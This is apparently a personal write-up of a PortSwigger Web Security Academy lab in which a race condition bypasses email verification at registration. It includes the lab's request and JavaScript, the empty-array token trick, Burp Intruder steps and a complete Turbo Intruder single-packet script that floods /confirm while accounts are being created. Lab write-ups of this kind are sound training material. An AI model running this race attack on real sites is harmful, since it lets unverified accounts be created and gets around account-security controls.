> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/race-conditions/partial-construction-race-condition.md).
# Partial Construction Race Condition
Partial Construction Race Condition notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Partial Construction Race Conditions
#### Objective of the Lab
* The site offers a registration mechanism with **mail verification**.
* A **race condition** allows you to **bypass the check** and register with an arbitrary address.
* Final goal: **create an account**, log in, then **delete user `carlos`**.
#### Observed Context (registration)
* UI-side message:
Attempt to create an account with the email provided by the lab -> response:
Attempted with a compliant email, e.g. `jordan@ginandjuice.shop` → answer:
**“Please check your emails for your account registration link”**.
{% code overflow="wrap" %}
```bash
csrf=HggS13aIQlQSXW9Tdhh1NmOGrSYIalTN&username=wiener&email=wiener%40exploit-0ad00064047bcce1804a250e017f00f9.exploit-server.net&password=peter
```
{% endcode %}
#### Exploitation Analysis (resources/users.js)
In `users.js`, we see:
* The register form sends `username`, `email`, `password`.
* The email confirmation is made via a **POST** to:
* `POST /confirm?token=...`
* Token is extracted from the URL and injected into the action of the confirmation form.
Conclusion: validation depends on an endpoint **/confirm** with a **token** transmitted in query string.
```javascript
const createRegistrationForm = () => {
const form = document.getElementById('user-registration');
const usernameLabel = document.createElement('label');
usernameLabel.textContent = 'Username';
const usernameInput = document.createElement('input');
usernameInput.required = true;
usernameInput.type = 'text';
usernameInput.name = 'username';
const emailLabel = document.createElement('label');
emailLabel.textContent = 'Email';
const emailInput = document.createElement('input');
emailInput.required = true;
emailInput.type = 'email';
emailInput.name = 'email';
const passwordLabel = document.createElement('label');
passwordLabel.textContent = 'Password';
const passwordInput = document.createElement('input');
passwordInput.required = true;
passwordInput.type = 'password';
passwordInput.name = 'password';
const button = document.createElement('button');
button.className = 'button';
button.type = 'submit';
button.textContent = 'Register';
form.appendChild(usernameLabel);
form.appendChild(usernameInput);
form.appendChild(emailLabel);
form.appendChild(emailInput);
form.appendChild(passwordLabel);
form.appendChild(passwordInput);
form.appendChild(button);
}
const confirmEmail = () => {
const container = document.getElementsByClassName('confirmation')[0];
const parts = window.location.href.split("?");
const query = parts.length == 2 ? parts[1] : "";
const action = query.includes('token') ? query : "";
const form = document.createElement('form');
form.method = 'POST';
form.action = '/confirm?' + action;
const button = document.createElement('button');
button.className = 'button';
button.type = 'submit';
button.textContent = 'Confirm';
form.appendChild(button);
container.appendChild(form);
}
```
#### First Attempt and Blocking
* Attempt to force an empty confirmation:
```http
POST /confirm?token=token
```
* Answer: **Forbidden** → protected endpoint against empty token
#### Bypassing Protection (alternative interpretation)
New attempt:
```bash
/confirm?token[]=
```
* Answer: \*\*
* Interpretation: the backend no longer blocks as Forbidden, it \*\* processes the value\*\* (but indicates that it is an array).
#### Timing Observation
* The **register** request is slower:
* /\~ **199 ms**
The **confirm** request is faster:
* /\~ **78 ms**
Idea: **bomb** `/confirm?token[]=` during the window where the account is being created, to trigger a confirmation at the wrong time
### Exploitation
#### Method 1 — Intruder (competition)
1. Send the `POST /confirm?token[]=` request to Intruder.
* Configure sending as **competitive requests** (e.g. 10).
* During this spam, from Repeater (or browser), create several accounts:
* `test1`, `test2`, `test3`,... `test7`
Check responses toIntruder:
* One of the answers ends up returning **200**
Try to connect with test accounts:
* Observed success (e.g. `test2`).
#### Method 2 — Turbo Intruder (Race Single Packet Attack)
1. Select a query and send it to **Turbo Intruder**.
* Choose the **race / single-packet** attack.
Use this script:
Script principle (as applied here):
* File **several registrations** (`lol0..lol19` users)
* Query **many confirmations** (`/confirm?token[]=`)
* Open the gate to trigger the race condition.
```python
def queueRequests(target, wordlists):
engine = RequestEngine(
endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
confirmation_email = '''POST /confirm?token[]= HTTP/2
Host: 0a0700db04dacc3080b6262500af004e.web-security-academy.net
Cookie: phpsessionid=sOwKShdkHig4oxnUpwlWZ82vFl6rwdom
Content-Length: 0
'''
gate_name = "race1"
for i in range(20):
username = "lol" + str(i)
engine.queue(target.req, [username], gate=gate_name)
for j in range(50):
engine.queue(confirmation_email, [], gate=gate_name)
engine.openGate(gate_name)
def handleResponse(req, interesting):
table.add(req)
```
#### Expected Result
* At least one account is created **as if email was confirmed** (without owning the token).
* You can then connect with this account, then use the account features to reach the lab objective (deletion of `carlos`).
---
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